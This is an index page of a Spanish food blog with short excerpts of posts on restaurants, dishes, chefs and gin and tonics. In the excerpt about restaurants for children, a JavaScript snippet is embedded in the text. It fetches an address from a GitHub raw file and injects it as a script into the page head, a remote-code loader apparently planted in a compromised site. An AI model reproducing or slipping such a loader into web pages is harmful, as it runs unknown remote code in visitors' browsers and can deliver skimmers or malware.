LAGASTRONOMA.COM

El blog de la revista Tapas para nómadas gastronómicos y yonkis de los restaurantes

MI PLATO FAVORITO DE 2014, EL HUEVO BRONCEADO DE PIÑERA

Hola gastrónom@s! Mis compañeros de Con el Morro Fino han publicado un post genial sobre los 26 platos preferidos de los periodistas y blogueros más conocidos del sector...y ahí está también el de La Gastrónoma!! Así que me hace tanta ilusión formar parte de este listado, que aquí os dejo el link. El plato que más me ha gustado es el Huevo bronceado con caviar Riofrío, coliflor trufada y papada, del restaurante Piñera del chef Jesús Almagro. ...

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RESTAURANTES PARA IR CON NIÑOS

Como muchos de vosotros sabéis, soy corresponsal de El Tenedor, así que aquí tenéis el artículo que he publicado en su blog dedicado a restaurantes para ir con niños...especialmente para mis lector@s papás y mamás! RESTAURANTES PARA IR CON NIÑOS  Espero que os guste y ayude! (var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });)

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Ximo Sáez, chef ejecutivo de Welow & Befour Club

WELOW & BEFOUR CLUB, OS DAMOS LA BIENVENIDA

Dice el dicho que “carnero castellano, vaca gallega y arroz valenciano”. Pero más bien, corregiría yo, vaca –y también buey - de Kobe. Y si no, que se lo pregunten a Ximo Sáez, chef ejecutivo de Welow & Befour Club, pues así me explicó las virtudes de este manjar desayunando con él la semana pasada y sosteniendo orgulloso esta pieza de 4 kilos. Porque si hay una carne elitista, esa es la ...

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NITTY GRITTY, EL QUID DE LA CUESTIÓN

Cuando el día comienza levantándote al alba para llegar con la lengua fuera a tu clase de inglés de las 8 de la mañana y tu jornada se inicia repasando phrasal verbs y el third conditional, ya intuyes desde primera hora que aquello no puede acabar del todo bien. Y así ha sido. A modo de ejemplo, hoy he tenido uno de esos días en que en medio de una reunión la ...

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ALCOCER 42 Y SU «JOYITA» JOSPER

Adivina adivinanza para los gastrónomos más adelantados. Se trata de una potente herramienta de cocina que esconde auténticas parrillas en su interior. Utiliza verdadero carbón vegetal, de encina o sarmiento, como materia prima. Su puntera tecnología permite cocinar a temperaturas de hasta 500 grados y que los alimentos no pierdan el sabor aportando el aroma noble de la leña. Algunos de los restaurantes más reputados a nivel internacional ya lo ...

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UNA CENA IMPROVISADA A DOMICILIO

El pasado martes tuve un día de perros. De esos en los que te duermes porque el día anterior trabajaste demasiado, empiezas llegando tarde a la oficina, te dan  más malas que buenas noticias y vas superando prueba a prueba las reuniones citas, llamadas y recados ineludibles por los pelos. Afortunadamente, empiezo a habituarme a llegar a todo de milagro. Recién llegada a mi guarida, y cuando ya aquello pintaba con enderezarse, sonó ...

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MI WISHLIST DE RESTAURANTES

Ayer cogí el petate y me eché a la calle. Con 20 grados a la sombra, cualquiera se quedaba haciendo calceta en casa. Me metí en la mochila Guías del Ocio, Metrópolis, Duendes y demás revistas callejeras que aún me quedaban por subrayar (valeee, soy una empollona y esto de conocer nuevos restaurantes me lo tomo muy en serio), el ordenador y mi cuaderno de bitácora donde siempre anoto todo. Y, sin rumbo determinado, crucé Alonso ...

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DE PASEO EN TAXI…POR MANHATTAN

“¿Mery, te vienes conmigo a Manhattan?”, le puse a mi sister por Whatsapp, “¿Cooooomo?” me contestó. “Sí, y nos vamos en taxi!”. Aunque mi hermana pequeña es más de aviones, porque es azafata, el plan no le pudo apetecer más. De hecho, es de aquellas personas que sabes que nacieron para hacer algo concreto, y desde que tuvo uso de razón siempre dijo que en su vida lo que quería ...

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PLANES PARA UNA NAVIDAD DIFERENTE

La navidad no es sólo una época del año. Es una declaración de intenciones. Un periodo de anhelos, ilusiones o quimeras, muchos de los cuales se quedarán irremediablemente en el tintero. Es época de reflexión, pero también de redescubrientos y de hazañas. Para algunos de viajes, para otros, de tradición y para otros muchos, como para mí, de deleite y descanso. Sin navidad, no habría verano, nin canciones en anuncios de ...

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LA COLOQUIAL: CUZCO SE PONE DE MODA

Parece que el cierre del Mercado Isabella ha dado pie a otras aperturas que con el otoño asoman la patita en al zona de Cuzco. Pepa, Materia Prima, La Bomba Bistro ... y ahora, reabre y se reinventa La Coloquial de la misma propietaria que El Puchero, Isabel Álvarez, situado también en la misma calle Padre Damián. Más informal que los anteriores expuestos y con un horario non stop, ofrecen una cocina ...

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3, 2, 1…EXPLOTA LA BOMBA BISTROT

Christophe es discreto, como su restaurante. Tímido y comedido, nos recibió hace unos días en su nuevo establecimiento de Alberto Alcocer, La Bomba Bistrot. Abrió sus puertas hace dos meses, sin apenas hacer ruido, porque su extremado perfeccionismo le lleva a querer tener todo a punto, pulir recetas y cuidar todos y cada uno de los detalles antes de que su “bomba” estalle en el barrio. Aún se le adivina un ligero acento francés, que dejó ...

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LOS TOP TEN DEL GIN TONIC

Mi amigo Arturo “El Rubio” es, ante todo, un sibarita. Mientras yo me dedicaba a hacer horas extras en El Corte Ingés durante mi etapa universitaria  (lo cual me valió para aprenderme al dedillo en número de deniers de las medias y ejecutivos de señora y caballero) , él se curtía en el ámbito de las artes culinarias trabajando de camarero en La Casa de Mónico. Esto le sirvió no ...

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